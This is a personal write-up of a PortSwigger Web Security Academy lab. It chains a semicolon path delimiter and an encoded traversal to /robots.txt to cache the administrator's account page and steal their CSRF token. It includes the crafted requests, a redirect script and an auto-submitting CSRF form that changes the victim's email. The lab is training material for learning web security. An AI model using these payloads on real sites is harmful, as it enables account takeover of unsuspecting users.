| Platform | Type | Difficulty | Objective |
|---|---|---|---|
| PortSwigger Web Security Academy | Web Cache Deception | Expert | Use web cache deception to steal the administrator's CSRF token, then use it to change their email address |
Exploiting exact-match cache rules for web cache deception¶
Logged in as wiener:peter and found an email update form on the account page.
The form carries a CSRF token in a hidden field:
<input required="" type="hidden" name="csrf" value="q3bq8VE0nrTTVIT5Fc60igrWQDr9zPUI">
That's the whole game right there — to change the administrator's email I'd need their CSRF token, which means caching their /my-account page and reading it back out. No static resources showed up with cache headers during normal browsing, so I ran Burp's content discovery against the site map (right-click → Engagement tools → Discover content) to see what else was sitting on the server.
That turned up /robots.txt, cached with max-age=30, and the server header showed Apache-Coyote — the same Java/Spring stack from the delimiter lab, which meant ; was worth trying as a delimiter here too.
Already knew from earlier delimiter fuzzing that ; and ? cause the origin to truncate the path.
Tested combining that delimiter with a traversal back to /robots.txt:
GET /my-account;/../robots.txt HTTP/2
HTTP/2 200 OK
Cache-Control: max-age=30
X-Cache: hit
(my-account body)
That confirmed the full chain: the origin treats ; as a delimiter and truncates the path down to /my-account, serving the account page. The cache doesn't recognize ; at all, so it keeps reading the whole string, resolves the traversal, and ends up seeing /robots.txt — which matches the exact-filename cache rule this lab is built around, so it stores the response. A literal /../ on its own triggered a 404 once cached, so the traversal needed URL-encoding to survive a real delivery instead of getting resolved early:
GET /my-account;%2f%2e%2e%2frobots.txt?teto HTTP/2
That version cached cleanly. With the mechanism confirmed, built the actual exploit with a unique cache buster so the administrator's response wouldn't collide with my own test requests:
<script>
document.location="https://0aeb00ca048ec60d834157d6003e00db.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt?miku"
</script>
Delivered it to the victim. The administrator's browser requested that URL while authenticated, the origin returned their account page complete with their CSRF token, and the cache stored the whole thing keyed to /robots.txt.
Requested the same URL myself right after:
GET /my-account;%2f%2e%2e%2frobots.txt?miku HTTP/2
The administrator's /my-account page came back from cache, CSRF token and all. From there it was a standard CSRF exploit using that stolen token to submit an email change on their behalf:
<html>
<body>
<form action="https://0aeb00ca048ec60d834157d6003e00db.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="zgM6OFENhf7iqufVf5CODsuoPTBPwXH1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
The administrator's email got changed, closing out the chain. What made this lab satisfying is that it isn't really a new technique on its own — it's the delimiter discrepancy and the exact-match cache rule from earlier labs stacked together, then pointed at a CSRF token instead of an API key, which is what turned a caching bug into a full account compromise.
Lab solved AND THE WHOLE PORTSWIGGER LAB PORTFOLIO FINISHED OMG!
This was the last lab of the academy — the whole academy, finished. What a journey. I honestly ask myself if I really understand these topics. I don't know, but I'm a bit tired of this tryharding process at this point, so I'll take the eWPTXv3 exam and give myself a study break after. This path took almost three months.